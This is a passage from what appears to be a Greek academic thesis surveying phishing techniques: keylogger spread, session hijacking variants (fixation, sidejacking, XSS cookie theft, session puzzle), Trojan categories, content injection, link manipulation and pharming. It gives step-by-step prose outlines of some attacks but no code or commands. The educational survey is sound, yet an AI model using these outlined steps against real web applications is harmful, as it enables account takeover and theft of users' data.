διαδικασία user-space που η πρόσβαση σε σύνολα API είναι εύκολα διαθέσιµα στα σύγχρονα 

λειτουργικά συστήµατα. Κατά πλείστον, οι “keyloggers” έχουν τις κατάλληλες γνώσεις και 

καταβάλουν σηµαντική προσπάθεια για ένα τέτοιο αποτελεσµατικό πρόγραµµα. Γι’ αυτό το 

λόγο, δεν αποτελεί έκπληξη ότι το 95% των υπαρχόντων “keyloggers” είναι  “user-space 

keyloggers” (30,31). Ένα λογισµικό τύπου keyloggers µπορεί να εξαπλωθεί µε τον ίδιο τρόπο 

που εξαπλώνεται και ένα σύνηθες κακόβουλο λογισµικό και πιο συγκεκριµένα µπορεί να 

εγκατασταθεί (32): 

� όταν ο χρήστης ανοίγει ένα συνηµµένο αρχείο από µήνυµα ηλεκτρονικού 

ταχυδροµείου,  

� από ένα αρχείο το οποίο έχει λανσαριστεί ως ανοιχτού λογισµικού από σχετικό 

κατάλογο µέσα από ένα δίκτυο P2P (τα δίκτυα τύπου peer-to-peer επιτρέπουν σε δύο 

ή περισσότερους υπολογιστές να διαµοιράζονται πληροφορίες ισοδύναµα (33)),  
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� από µία ιστοσελίδα µέσω scripts τα οποία εκµεταλλεύονται την ευπάθεια του 

προγράµµατος περιήγησης και το πρόγραµµα θα ξεκινήσει αυτόµατα, όταν ο χρήστης 

επισκεφτεί τη µολυσµένη ιστοσελίδα, 

� µέσα από ένα άλλο κακόβουλο πρόγραµµα το οποίο υπάρχει ήδη στην µηχανή του 

θύµατος κι αυτό έχει τη δύναµη να κατεβάσει ή να εγκαταστήσει το κακόβουλο 

keyloggers λογισµικό. 

2.1.5 «Αεροπειρατεία» (“session hijacking”) 

Σε αυτή τη µορφή phishing, οι hackers παρακολουθούν τις διαδικτυακές κινήσεις των 

χρηστών έως ότου συνδεθούν σε ένα λογαριασµό τους ή πραγµατοποιήσουν µία συναλλαγή 

στην οποία θα κλιθούν να δώσουν τα προσωπικά τους στοιχεία. Εκείνη τη στιγµή, ο phisher 

εκµεταλλεύεται το µηχανισµό έλεγχου του δικτύου και υποκλέπτει τις πληροφορίες που 

επιθυµεί από το χρήστη, ενώ το κακόβουλο λογισµικό λαµβάνει πρωτοβουλίες, όπως τη 

µεταφορά χρηµατικών ποσών χωρίς την έγκριση του χρήστη. Σε µία µορφή Session 

Hijacking, γνωστή και ως “session sniffing”, ο phisher µπορεί να χρησιµοποιεί ένα ανιχνευτή 

προκειµένου να λαµβάνει τις εν λόγω πληροφορίες από το χρήστη (24,25,29).  

Η Session Hijacking επίθεση βρίσκει πρόσφορο έδαφος να εφαρµοστεί λόγω της ανασφαλής 

χρήσης των cookies HTPP. Μία διαδεδοµένη µέθοδος που χρησιµοποιείται, είναι η χρήση 

των IP πακέτων δροµολογητών, που επιτρέπουν στο hacker να λάβει τις πληροφορίες που 

επιθυµεί. Στην περίπτωση που τα IP πακέτα δροµολογητών είναι απενεργοποιηµένα, ο 

«εισβολέας» µπορεί να προχωρήσει σε “blind" hijacking” όπου στην ουσία µαντεύει τις 

πιθανές απαντήσεις των χρηστών. Όπως είναι λογικό σε µία τέτοια περίπτωση, ο hacker 

µπορεί να δώσει µία απάντηση αλλά δεν µπορεί να δει την απάντηση. Τέλος, ένας phisher 

πιθανόν να είναι “inline” και να παρακολουθεί µία συζήτηση µέσω προγραµµάτων sniffing. 
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Η συγκεκριµένη Session Hijacking επίθεση είναι γνωστή και ως “man-in-the-middle attack” 

(34). 

 

Εικόνα 2.2: "Man-in-the-middle attack" 

 

Ορισµένα κύρια σενάρια που µία Session Hijacking επίθεση µπορεί να διαπραχτεί 

παρουσιάζονται παρακάτω(35):  

2.1.5.1 Session sidejacking 

Στην περίπτωση που µία εφαρµογή δεν χρησιµοποιεί SSL (Secure Sockets Layer διασφαλίζει 

την ασφαλή µετάδοση ευαίσθητων δεδοµένων στο internet (36,37)) και µεταφέρει τα 

δεδοµένα σαν ένα απλό κείµενο, κάθε ένας στο ίδιο ιστοχώρο µπορεί να «αρπάξει» τις τιµές 

των cookies µέσα από sniffing. ∆ύο τέτοιες περιπτώσεις θα αναφερθούν:  

i. Χρήση SSL µόνο κατά την είσοδο σε µία ιστοσελίδα. Ορισµένοι προγραµµατιστές 

χρησιµοποιούν SSL µόνο κατά τη σύνδεση µιας ιστοσελίδας, µε την προϋπόθεση ότι 

οι πιστοποιήσεις µεταφέρονται µε ασφάλεια. Ωστόσο, µόλις γίνει ο έλεγχος 

ταυτοποίησης του χρήστη τα cookies είναι αυτά που τον προσδιορίζουν. Όσα 

αιτήµατα πραγµατοποιηθούν αφότου ο χρήστης συνδεθεί σε cookies και δεν 

προστατεύεται µε SSL, εύκολα µπορεί να επιτευχθεί session hijacked.  
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ii. Μια απλή URL διεύθυνση είναι αρκετή για να πραγµατοποιηθεί session hijacked 

επίθεση. Σε πολλές περιπτώσεις που οι εφαρµογές χρησιµοποιούν HTTP, προκειµένου 

να ανακτηθούν εικόνες ή JS αρχεία που έχουν το ίδιο domain. Πρόβληµα 

δηµιουργείται όταν ένα αίτηµα αποστέλλετε σε ένα domain που παλαιότερα υπήρξε 

σύνδεση (µέσω cookies) καθώς το cookie θα οδηγήσει αυτόµατα το χρήστη στον ίδιο 

σύνδεσµο. Αποτέλεσµα αυτού είναι οι χρήστες να δέχονται επίθεση από άλλους 

κακόβουλους χρήστες του δικτύου.  

2.1.5.2 Session fixation 

Οι hackers συχνά τροποποιούν το session και απλώς αναµένουν το χρήστη να συνδεθεί. Αυτή 

η περίπτωση είναι ιδιαίτερα συνήθης στα URLs. Εάν ο χρήστης συνδεθεί σε µία εφαρµογή 

χωρίς να ελέγξει αν αυτή προέρχεται από έναν εξυπηρετητή, η επίθεση phishing είναι πολύ 

πιθανή. Τα παραπάνω γίνονται κατανοητά καλύτερα µε το ακόλουθο σχήµα. 

 

Εικόνα 2.3: 0Απεικόνιση επίθεσης τύπου session fixation 

Βήµα 1: ο εισβολέας συνδέεται σε µία ιστοσελίδα µέσω εξυπηρετητή  

Βήµα 2: ο εξυπηρετητής του αποστέλλει πίσω µία τιµή για το cookie   

Βήµα 3: ο εισβολέας αποστέλλει το σύνδεσµο στο εν δυνάµει θύµα, προσθέτοντας και τη 

«µολυσµένη» τιµή cookie 
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Βήµα 4: το θύµα συνδέεται στον εξυπηρετητή  

Βήµα 5: το θύµα εισάγει τα προσωπικά του στοιχεία 

Βήµα 6: ο εισβολέας που ήδη γνωρίζει τη τιµή cookie µπορεί να χρησιµοποιήσει τα ίδια 

στοιχεία και να έχει πρόσβαση στο λογαριασµού του θύµατος. 

∆ηµιουργία cookies προτού τον έλεγχο ταυτότητας 

 Τα cookies υποτίθεται ότι δηµιουργούνται ή αλλάζουν έπειτα από µία επιτυχηµένη 

ταυτοποίηση. Αν το ίδιο cookie χρησιµοποιείται πριν και µετά την ταυτοποίηση είναι πιθανή 

επίθεση τύπου session hijacking. Κατά το πλείστον θύµατα σε αυτή την περίπτωση είναι 

δηµόσια καφέ ή κοινόχρηστοι υπολογιστές. Ο τρόπος εφαρµογής της επίθεσης είναι 

παρόµοιος µε αυτόν που περιγράφηκε στην επίθεση session fixation. 

Προβλέψιµα IDs session 

Κάθε σύστηµα ηλεκτρονικού υπολογιστή διαθέτει έναν κωδικό, δηλαδή ένα µοναδικό όνοµα 

που παρέχει σε αυτόν ένα ελάχιστο επίπεδο ασφάλειας και ονοµάζεται Identification Device 

(ID) (38). Οι hackers συχνά προσπαθούν να αναλύσουν τον τρόπο µε τον οποίο παράγονται 

οι ID κωδικοί και να προβλέψει το ID session ενός χρήστη που είναι ήδη συνδεδεµένος κι 

έτσι να έχει πρόσβαση στο λογαριασµό του. 

2.1.5.3 Χρήση cross site scripting vulnerability 

Ο εισβολέας µέσω συγκεκριµένου προγράµµατος υποκλέπτει τα cookies του χρήστη κι έτσι 

επιτρέπεται στον πρώτο να εκτελέσει σενάρια (scripts) όπως ένα JavaScript στο browser του 

τελικού χρήστη. Εποµένως, ο hacker µπορεί απλά να γράψει ένα script µε πρόσβαση σε 

κάποιο cookie και να το αποστείλει σε έναν εξυπηρετητή που «του ανήκει». Από την πλευρά 
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του πελάτη (client), η πρόσβαση στο cookie είναι πιθανή µέσω της χρήσης ενός 

document.cookie. Η Εικόνα 2.4 κατατοπίζει και επεξηγεί σχετικώς.  

 

Εικόνα 2.4: Απεικόνιση µιας cross site scripting επίθεσης 

 

2.1.5.4 Επίθεση session puzzle 

Επίθεση αυτής της µορφής πραγµατοποιείται όταν µία εφαρµογή χρησιµοποιεί την ίδια 

session µεταβλητή για περισσότερους από έναν σκοπούς. Ο εισβολέας προσπαθεί να 

αποκτήσει πρόσβαση στις ιστοσελίδες µε συγκεκριµένη σειρά, ούτως ώστε η session 

µεταβλητή να οριστεί σε ένα πλαίσιο και έπειτα να χρησιµοποιηθεί στο επόµενο. Τα βήµατα 

που ακολουθεί ο εισβολέας είναι: 

Βήµα 1: εισέρχεται σε µία εφαρµογή και επιλέγει το link “Forgot the password” 

Βήµα 2: εισάγει ένα διαφορετικό ID από αυτό του χρήστη (π.χ. admin) και επιλέγει υποβολή 

Βήµα 3: δέχεται το αίτηµα από την εσωτερική σελίδα του ιστοτόπου (π.χ. viewprofile.jsp) 

και συνδέεται ως διαχειριστής. 
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Εικόνα 2.5: Παράδειγµα session puzzle επίθεσης 

 

Με τα παραπάνω βήµατα, η εφαρµογή λανθασµένα θέτει τα χαρακτηριστικά του session όταν 

ξεκινάει η διαδικασία επαναπροσδιόρισης του κωδικού πρόσβασης. Ο εισβολέας το 

εκµεταλλεύεται αυτό ζητώντας µία αλληλουχία βηµάτων.  

Εφαρµογή ακατάλληλης αποσύνδεσης (“Improper logout implementation”) 

Όταν ο χρήστης επιλέγει το link αποσύνδεση, η εφαρµογή υποτίθεται ότι καταστρέφει όλες 

τις session µεταβλητές που διακινούνται από την πλευρά του διακοµιστή. Αντί αυτού, 

ορισµένοι προγραµµατιστές διαγράφουν τα cookies από την πλευρά του πελάτη (client) 

χρησιµοποιώντας συγκεκριµένο κωδικό “client side”. Αυτή η διαδικασία φαίνεται να 

λειτουργεί κανονικά, καθώς όταν τα cookies αφαιρεθούν µία φορά από τη συσκευή, αυτά θα 

ανακατευθυνθούν στη σελίδα σύνδεσης. Ωστόσο, το session  στον εξυπηρετητή παραµένει 

ενεργό επ’ αόριστον. Αυτό πρακτικά σηµαίνει ότι ο εισβολής µπορεί να «αρπάξει» αυτή τη 

τιµή και να εξακολουθήσει να έχει πρόσβαση στην ίδια εφαρµογή και έτσι να έχει τη δύναµη 

επιθέσεων µέσα από έγκυρα sessions.  

Παράληψη µηχανισµού λήξης των sessions (“Lack of session expiration mechanism”) 

Όλες οι εφαρµογές χρειάζεται να έχουν µηχανισµούς για να παρακολουθούν τα αδρανής 

sessions και όταν ξεπεραστεί ένα συγκεκριµένο χρονικό όριο αυτές να οδηγούν το χρήστη σε 

µία σελίδα σύνδεσης εκ νέου. Η απουσία τέτοιων εφαρµογών, αυξάνουν το χρονικό όριο 
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όπου ένας εισβολής µπορεί να «επιτίθεται» και να του επιτρέπει την πρόσβαση στη 

συγκεκριµένη εφαρµογή µέσω φυσικής πρόσβασης από το ίδιο µηχάνηµα.  

2.1.6 Επίθεση Trojan horse 

Η επίθεση Trojan horse (ή Trojan Hosts, ή Web Trojan) αναφέρεται σε κάθε κακόβουλο 

πρόγραµµα που από µόνο του µετατρέπεται («µεταµφιέζεται») και ενσωµατώνεται σε ένα 

νόµιµο λογισµικό το οποίο παρουσιάζεται χρήσιµο στο χρήστη µε απώτερο σκοπό να 

παραπλανήσει το εν δυνάµει θύµα και έτσι να το εκτελέσει και να το εγκαταστήσει. Τα 

λογισµικά τέτοιου τύπου έχουν διαφορετικά χαρακτηριστικά ανάλογα µε το σκοπό για τον 

οποίον δηµιουργήθηκαν από τον σχεδιαστή τους (39). 

Γενικά οι επιθέσεις τύπου Trojan εξαπλώνονται από απρόσεκτες λήψεις και συνηµµένα 

αρχεία µέσω e-mails, άµεσων µηνυµάτων, ή peer – to – peer αρχεία. Ο χρήστης επιλέγει ένα 

αρχείο χωρίς να προσέξει εάν το εκτελέσιµο αρχείο έχει την κατάληξη .exe ή άλλη. Έτσι το 

µολυσµένο πρόγραµµα οδηγείται και σταδιακά «ριζώνει» µέσα από το λειτουργικό 

συστήµατα και το λογισµικό του θύµατος. Μερικά Trojans προγράµµατα είναι τόσο 

εξελιγµένα που µπορούν να εισχωρήσουν στο διευθυνσιογράφο του ηλεκτρονικού 

ταχυδροµείου, ενώ άλλα µπορούν να µεταδοθούν µέσω δικτύων ειδικά όταν δεν υπάρχουν 

αποτελεσµατικά τείχη προστασίας κατά των ιών. Γι’ αυτό το λόγο οι επιθέσεις Trojans δεν 

είναι εύκολα ανιχνεύσιµες, παρ’ όλα αυτά, ο υπολογιστής του χρήστη παρουσιάζει 

καθυστερήσεις στις διάφορες λειτουργίες του. Να σηµειωθεί επίσης ότι αυτής της µορφής 

phishing επίθεσης, δεν στοχεύει στη εισχώρηση της σε άλλα αρχεία, όπως συµβαίνει µε την 

περίπτωση των ιών (40). 

Η Trojan επίθεση πλέον έχει διαδοθεί και στις “έξυπνες συσκευές” που χρησιµοποιούν οι 

χρήστες, όπως tablets και smartphones, αφού αυτές δίνουν τη δυνατότητα πρόσβασης στο 
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διαδίκτυο. Συνήθως το λογισµικό είναι ελκυστικό στο χρήστη και δεν φαίνεται να έχει 

κακόβουλο χαρακτήρα, έτσι ο χρήστης δέχεται να το κατεβάσει και να το εγκαταστήσει στην 

έξυπνη συσκευή του. Αποτέλεσµα της χρήσης του είναι προκαλεί σοβαρές βλάβες στο 

µηχάνηµα, να απενεργοποιεί ορισµένες λειτουργίες του ή και την ίδια τη συσκευή, ή να 

παραλύει εφαρµογές του για αρκετό χρονικό διάστηµα (41,42). 

Συγκεκριµένα το 2013, στο λειτουργικό σύστηµα Android παρουσιάστηκε αύξηση των 

Trojan επιθέσεων που σχετίζονται µε το τραπεζικό τοµέα. Στον κυβερνοχώρο τα κακόβουλα 

προγράµµατα των κινητών συσκευών εστιάζονται ολοένα και περισσότερο στην 

αποτελεσµατική πραγµατοποίηση κερδών µέσω phishing επιθέσεων, κλοπή πιστωτικών 

καρτών, µεταφορά χρηµάτων από τραπεζικές κάρτες σε κινητά τηλέφωνα. Ενδεικτικά 

αναφέρεται ότι µέχρι το τέλος του 2013 υπήρχαν ήδη 1321 είδη τραπεζικών επιθέσεων 

Trojan. Οι επιθέσεις τέτοιου είδος συχνά παρακάµπτουν τον διπλό έλεγχο ταυτοποίησης, κάτι 

που προµηνύει ότι αυτές θα αυξηθούν περαιτέρω µέσω νέων τεχνικών (43).  

 

∆ιάγραµµα 2.1: Αριθµός τραπεζικών Trojan επιθέσεων µέσω κινητών συσκευών Πηγή:(43) 

Οι επιθέσεις Trojan µπορούν να κατηγοριοποιηθούν ανάλογα µε τις δράσεις που έχουν σε ένα 

υπολογιστικό σύστηµα. Οι κυριότερες κατηγορίες παρουσιάζονται ακολούθως (44,45): 



 

21 

 

i. Backdoor: παρέχει στους κακόβουλους χρήστες έλεγχο των µολυσµένων υπολογιστών 

από απόσταση. ∆ίνουν τη δυνατότητα στο δηµιουργό του να πραγµατοποιεί 

οποιαδήποτε ενέργεια επιθυµεί, όπως την αποστολή, τη λήψη, την έναρξη, τη 

διαγραφή αρχείων, την επανεκκίνηση του υπολογιστή, κ.α. ακόµη, συχνά 

χρησιµοποιείται για να συνενώσει µία οµάδα πιθανών θυµάτων σχηµατίζοντας ένα 

δίκτυο botnet (δίκτυο υπολογιστών που ελέγχεται από τον “botmaster” από απόσπαση 

(46)) µε εγκληµατικούς σκοπούς. 

ii. Exploit: αφορούν προγράµµατα που περιέχουν δεδοµένα ή κώδικα που επωφελείται 

από το γεγονός ότι το λογισµικό των εφαρµογών που εκτελούνται στον υπολογιστή 

είναι ευάλωτο. 

iii. Rootkit: είναι σχεδιασµένα κατά τέτοιον τρόπο ώστε να αποκρύπτουν συγκεκριµένα 

αντικείµενα ή δραστηριότητες στον υπολογιστή του χρήστη. Κύριος στόχος του είναι 

να εµποδίζει να εντοπιστούν τα κακόβουλα προγράµµατα, ώστε να παραµείνουν όσο 

το δυνατόν µεγαλύτερο διάστηµα στον «µολυσµένο» υπολογιστή. 

iv. Trojan-Banker: δηµιουργήθηκαν µε µοναδικό σκοπό την κλοπή και τη συγκέντρωση 

προσωπικών πληροφοριών από τις online συναλλαγές του χρήστη σε τραπεζικά 

συστήµατα, από πιστωτικές και χρεωστικές κάρτες, κ.α. 

v. Trojan-DDoS: προγράµµατα που επιτίθενται αρνούµενα να παρέχουν υπηρεσίες DoS 

(Denial of Service) σε συγκεκριµένες ηλεκτρονικές διευθύνσεις.  

vi. Trojan-Downloader: έχουν σχεδιαστεί για να µπορούν να «κατεβάζουν» και να 

εγκαθιστούν εξελιγµένες εκδόσεις κακόβουλων προγραµµάτων στον ήδη µολυσµένο 

υπολογιστή του χρήστη περιλαµβάνοντας ιούς, Trojans και spyware 

vii. Trojan-Dropper: προγράµµατα που χρησιµοποιούν οι phishers για να εγκαταστήσουν 

ιούς και Trojans, αλλά και για να εµποδίσουν την ανίχνευση των κακόβουλων 

λογισµικών.  
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viii. Trojan-FakeAV: προγράµµατα που εντείνουν τη δραστηριότητα και τη λειτουργία 

ενός λογισµικού προστασίας από ιούς, µε απώτερο σκοπό να πείσουν το χρήστη ότι ο 

υπολογιστής του έχει µολυνθεί από πολλούς ιούς. Έτσι, αποσπούν από τους χρήστες 

χρηµατικά ποσά, παρέχοντας ως αντάλλαγµα τον εντοπισµό και την αποµάκρυνση 

των συγκεκριµένων απειλών, ακόµη κι αν αυτές είναι εικονικές ή ανύπαρκτες.  

ix. Trojan-GameThief: προγράµµατα που υποκλέπτουν τα προσωπικά στοιχεία του 

χρήστη στα online παιχνίδια.  

x. Trojan-IM: κλέβουν το όνοµα και τον κωδικό του χρήστη για τα προγράµµατα άµεσης 

ανταλλαγής µηνυµάτων όπως Instant Messenger, Yahoo, Skype κ.α. 

xi. Trojan-SMS: προγράµµατα όπου στέλνουν µηνύµατα κειµένου από την κινητή 

συσκευή του χρήστη σε άλλους αριθµούς τηλεφώνων χρεώνοντάς τον µεγάλα 

χρηµατικά ποσά.  

xii. Trojan-Spy: κατασκοπεύεται ο τρόπος χρήσης του υπολογιστή του θύµατος κι ενώ 

αυτό είναι αόρατο από το χρήστη, συλλέγει δεδοµένα από το πληκτρολόγιο, από 

στιγµιότυπα δραστηριότητας στο µηχάνηµα, ή µπορεί να λάβει µία λίστα µε τις 

εφαρµογές που «τρέχουν» στον υπολογιστή. 

Τα κακόβουλα λογισµικά είναι πολλά και συνεχώς δηµιουργούνται νέα ακολουθούµενα τις 

τάσεις των χρηστών, προσπαθώντας να εντοπίσουν νέους δόλιους τρόπους να υποκλέψουν 

στοιχεία και να κερδίσουν εις βάρος αφελών χρηστών. Παρακάτω παρουσιάζεται η 

ποσοστιαία κατανοµή των επιθέσεων διαφόρων µορφών Trojans µέσω µηνυµάτων για το 

2014 (∆ιάγραµµα 2.2) (11). 
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∆ιάγραµµα 2.2: Κατανοµή Trojan απειλών µέσω κινητών συσκευών (2
ο
 6µηνο 2014) Πηγή: (11) 

 

2.1.7 Content-Injection phishing 

Μέσω της συγκεκριµένης επίθεσης, οι hackers αντικαθιστούν µέρος από το περιεχόµενο της 

νόµιµης ιστοσελίδας µε ψεύτικες, µε σκοπό να παραπλανηθούν οι πλοηγητές, να µεταβούν σε 

αυτές και να εµπιστευτούν τα ευαίσθητα προσωπικά δεδοµένα τους στους εισβολείς. 

Χαρακτηριστικό παράδειγµα είναι η εισαγωγή κακόβουλου κώδικα κατά τη σύνδεση 

πιστοποιήσεων του χρήστη για τη συλλογή πληροφοριών και παράδοση αυτών στο 

διακοµιστή του hacker (24,25,29). Τρεις είναι οι κύριες µορφές Content-Injection επίθεσης 

(13): 

i. Κακόβουλο λογισµικό µπορεί να εισαχθεί µέσα από cross-site scripting (σελ. 21 

εγγράφου). Τέτοιο περιεχόµενο µπορεί να είναι ένα κακόβουλο έγγραφο ή οτιδήποτε 

άλλο το οποίο δεν φιλτράρεται επαρκώς από το λογισµικό και εκτελείται στον 

φυλλοµετρητή του δικτύου ενός επισκέπτη.   



 

24 

 

ii. Οι εισβολείς µπορούν να µετατρέψουν έναν εξυπηρετητή που είναι ευάλωτος σε 

θέµατα ασφαλείας και να τον αντικαταστήσουν ή να αυξήσουν το νοµότυπο 

περιεχόµενό του σε κακόβουλο.  

iii. Η ευπάθεια σε µια ιστοσελίδα κατά την εισαγωγή ενός SQL µπορεί να προκαλέσει 

επιβλαβείς πράξεις. Με αυτόν τον τρόπο οι εντολές της βάσης δεδοµένων µπορούν να 

εκτελεστούν σε έναν αποµακρυσµένο εξυπηρετητή ο οποίος µπορεί να προκαλέσει 

διαρροή πληροφοριών.  

2.1.8 Link manipulation 

Αποτελεί ακόµη µία τεχνική phishing επίθεσης κατά την οποία ο εισβολέας αποστέλνει ένα 

σύνδεσµο οδηγώντας το εν δυνάµει θύµα του σε µία πλαστή ιστοσελίδα. Όταν ο χρήστης 

επιλέξει τον παραπλανητικό σύνδεσµο, ενεργοποιείται και ανοίγει η ιστοσελίδα του phisher 

αντί της πραγµατικής. Το κύριο τέχνασµα που χρησιµοποιείται σε αυτή την περίπτωση, είναι 

η χρήση των sub-domains και αποτελούν τεχνικές που δεν είναι γνωστές σε κάποιον ο οποίος 

δεν είναι εξοικειωµένος µε Information Technology (29,47).   

Με αφορµή το ακόλουθο παράδειγµα (Εικόνα 2.6), ο χρήστης χρειάζεται να θυµάται ότι το 

URL µιας ιστοσελίδας πρέπει να είναι από τα αριστερά προς τα δεξιά, γεγονός που σηµαίνει 

ότι η εκάστοτε ιστοσελίδα θα φορτωθεί στο κύριο πεδίο της µηχανής αναζήτησης και µε το 

sub-domain της συγκεκριµένης µηχανής. Στο ακόλουθο παράδειγµα αν και η ιστοσελίδα 

φαίνεται να είναι η πραγµατική, ωστόσο είναι ψεύτικη. Αυτό φανερώνεται από το ότι η 

ονοµασία του sub-domain δεν αναφέρεται. Μόνο αντιστοιχίζεται η IP διεύθυνση, κάτι που 

για έναν χρήστη που δεν γνωρίζει από IP ∆ιευθύνσεις µπορεί να είναι απλά νούµερα (47).  



 

25 

 

 

Εικόνα 2.6: Απεικόνιση επίθεσης phishing της µορφής Link Manipulation Πηγή: (47) 

 

Ο hacker σε αυτή την περίπτωση κάνει δοκιµές από καταλόγους και επεκτάσεις αρχείων 

τυχαία για να βρει σηµαντικές πληροφορίες. Αναλυτικότερα δηλαδή ο hacker (48): 

i. Αναζητεί καταλόγους τους οποίους µπορεί να διαχειριστεί τις ιστοσελίδες. Όπως για 

παράδειγµα της επόµενης εικόνας (Εικόνα 2.7α). 

ii. Αναζητά σενάρια (scripts) προκειµένου να αποκαλύψει πληροφορίες σχετικά µε 

αποµακρυσµένα συστήµατα, όπως το παρακάτω (Εικόνα 2.7β). 

iii. Ψάχνει για αντίγραφα ασφαλείας. Η επέκταση .bak γενικά χρησιµοποιείται και δεν 

ερµηνεύεται από εξυπηρετητές εκ προεπιλογής και έτσι µπορεί να προκληθεί ένα 

σενάριο της µορφής (Εικόνα 2.7γ): 

iv. Αναζήτα για κρυφά αρχεία στα αποµακρυσµένα συστήµατα. Στα UNIX συστήµατα, 

όταν η “site's root” του κατάλογου αντιστοιχεί σε κατάλογο χρήστη, τα αρχεία που 

δηµιουργούνται από το σύστηµα µπορούν να είναι προσβάσιµα µέσω διαδικτύου 

(Εικόνα 2.7δ): 
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Εικόνα 2.7: Παραδείγµατα Link Manipulation Πηγή: (48) 

 

2.1.9 «Ψάρεµα» σε µηχανές αναζήτησης (“search engine phishing”) 

Συχνά απάτες phishing συµβαίνουν και στις µηχανές αναζήτησης, τις οποίες επισκέπτεται ο 

χρήστης συνήθως για την οικονοµικότερη πώληση προϊόντων ή υπηρεσιών. Οι phishers 

εκµεταλλευόµενοι αυτή την αγοραστική τάση, δηµιουργούν ιστοσελίδες µε ελκυστικές 

προσφορές και τις αναπροσαρµόζουν µέσα από µηχανές αναζήτησης. Οι χρήστες εντοπίζουν 

τους συγκεκριµένους ιστοχώρους κατά την πλοήγησή τους στο διαδίκτυο και µπαίνουν στη 

διαδικασία αγοράς κάποιου προϊόντος. Έτσι, εισάγουν τα στοιχεία των πιστωτικών καρτών 

τους, τα οποία και συλλέγουν οι επιτήδειοι. Οι hackers, προκειµένου να πείσουν τους 

καταναλωτές δηµιουργούν και εικονικές ιστοσελίδες τραπεζών, οι οποίες προσφέρουν 

χαµηλότερο κόστος πίστωσης συγκριτικά µε τις νοµότυπες. Τα θύµατα χρησιµοποιούν τα 

συγκεκριµένα phishing sites για τις αγορές τους και συχνά αποφασίζουν να µεταφέρουν σε 

αυτά τους υπάρχοντες λογαριασµούς τους και εξαπατούνται αποκαλύπτοντας επιπλέον 

χρηµατοπιστωτικές λεπτοµέρειες (24,29).  

Παραδείγµατα απάτης είναι όπως αναφέρθηκε αποτελούν ιστοσελίδες µε δωρεάν προϊόντα ή 

οικονοµικές προσφορές, προσφοράς και εύρεσης εργασίας, ή έκτακτων αναγκών. Στην 

περίπτωση των παραπλανητικών θέσεων εργασίας, οι phishers ζητούν από τους 
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ενδιαφερόµενους να εισάγουν τον αριθµό κοινωνικής τους ασφάλισης, ενώ στην περίπτωση 

του εκφοβισµού, οι hackers επιχειρούν να τροµοκρατήσουν τους χρήστες παρέχοντάς τους 

πληροφορίες µέσα από την παρουσίαση µια επείγουσας ανάγκης, όπως όταν ενηµερώνουν 

τον χρήστη ότι ο υπολογιστής του έχει µολυνθεί από ιό και χρειάζεται άµεσα να 

καταπολεµηθεί, οδηγώντας τον σε µία «µολυσµένη» ιστοσελίδα (49). 

2.1.10 DNS-based phishing (“pharming”) 

Αφορά την απάτη που σχετίζεται µε το σύστηµα ονοµατοδοσίας, το Domain Name System 

(DNS) ή ένα τροποποιηµένο αρχείο host, που συχνά αποκαλείται και “Pharming”. Οι hackers 

λοιπόν, µέσα από ένα σύστηµα pharming, παραβιάζουν τα αρχεία host εταιριών ή τα Domain 

Name Systems, έτσι ώστε τα αιτήµατα για URLs να δίνουν µία ψευδή διεύθυνση και κατά 

συνέπεια οι λοιπές πληροφορίες να συµπληρώνονται σε αυτή την παραπλανητική ιστοσελίδα. 

Ως εκ τούτου, οι χρήστες αγνοούν ότι τα εµπιστευτικά τους στοιχεία παρακολουθούνται από 

εισβολείς (24). 

Αν και η pharming επίθεση δεν εµφανίζεται συχνά, έρευνες (50) έχουν δείξει ότι στο εγγύς 

µέλλον θα αποτελέσουν σηµαντική απειλή λόγω της εξάρτησης µεταξύ ονοµάτων και 

ονοµάτων εξυπηρετητών. Η συνεχής χρήση των ασύρµατων δικτύων και δροµολογητών 

δίνουν πρόσφορο έδαφος για την εµφάνιση νέων µορφών pharming. Μία νέα µορφή DNS 

επίθεσης η οποία προήλθε από τον ελλειπή έλεγχο ταυτοποίησης κυρίως σε οικεία δίκτυα 

(π.χ. σπιτιού), είναι το «δυναµικό pharming» ή “dynamic pharming”. Στη συγκεκριµένη 

κατηγορία, ο εισβολής αρχικά παρέχει ένα έγγραφο δικτύου το οποίο περιέχει ένα κακόβουλο 

κωδικό τύπου Javascript στο θύµα, κι έπειτα εκµεταλλεύεται τα τρωτά σηµεία 

επανασύνδεσης DNS, µε σκοπό να αναγκάσει το θύµα να συνδεθεί εξ αρχής στο διακοµιστή 

(µέσα από ένα ξεχωριστό παράθυρο ή πλαίσιο). Αφού ο χρήστης πραγµατοποιήσει έλεγχο 
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ταυτότητας στο νόµιµο server, ο phisher χρησιµοποιεί το παράνοµο Javascript για να λάβει τα 

στοιχεία που επιθυµεί (51).  

Αυτό που ουσιαστικά εκµεταλλεύονται οι εισβολείς στο dynamic pharming είναι του ότι 

σήµερα οι εξυπηρετητές εφαρµόζουν την «ίδια πολιτική προέλευσης» (“same-origin policy”), 

η οποία απαγορεύει σε ένα αντικείµενο δικτύου (“web object”) να έχει πρόσβαση σε άλλα 

αντικείµενα δικτύου που εξυπηρετούνται από διαφορετικές τοποθεσίες. Ακόµη στο dynamic 

pharming, το κακόβουλο Javascript και το περιεχόµενο του νόµιµου server φαινοµενικά 

έχουν την ίδια µορφή, δηλαδή το ίδιο domain, port και πρωτόκολλο. Γι’ αυτό το λόγο και ο 

browser επιτρέπει στο Javascript να έχει πρόσβαση σε πεδίο ελέγχου ταυτοποίησης του 

χρήστη (51). 

Ολοκληρώνοντας την παρουσίαση των κύριων µορφών απάτης µε τη µέθοδο Phishing γίνεται 

αντιληπτό ότι οι απειλές στο διαδίκτυο και οι τρόποι εξαπάτησης είναι πολλοί. Είναι γεγονός 

ότι όσο εξελίσσεται η τεχνολογία και η χρήση του διαδικτύου, τόσο αυξάνονται και 

εξελίσσονται και οι τεχνικές απάτης σε αυτό. Να σηµειωθεί ότι υπάρχουν και άλλες µέθοδοι 

Phishing, όπως µέσω τηλεφώνου (“Phone Phishing”) ή προγράµµατα κλοπής δεδοµένων 

γνωστά ως “Data Theft” ή ‘άλλα που παραποιούν τα Host αρχεία, µε την ονοµασία “Hosts 

File Poisoning” (24). Τέλος, να σηµειωθεί ότι εκτός από την phishing επίθεση, απάτες 

εµφανίζονται και σε κανάλια συζητήσεων (“Chat rooms”) όπως και στα διάφορα blogs. Και 

στις δύο τελευταίες περιπτώσεις η δυνατότητα ανωνυµίας είναι εκείνη που δίνει έναυσµα 

στου επιτήδειους να παραπλανούν τους χρήστες, εξ ου και τα πολλαπλά κρούσµατα 

διαδικτυακών υποκλοπών ή παραβίασης δικαιωµάτων τόσο σε ενήλικες όσο και σε παιδιά 

(52). 
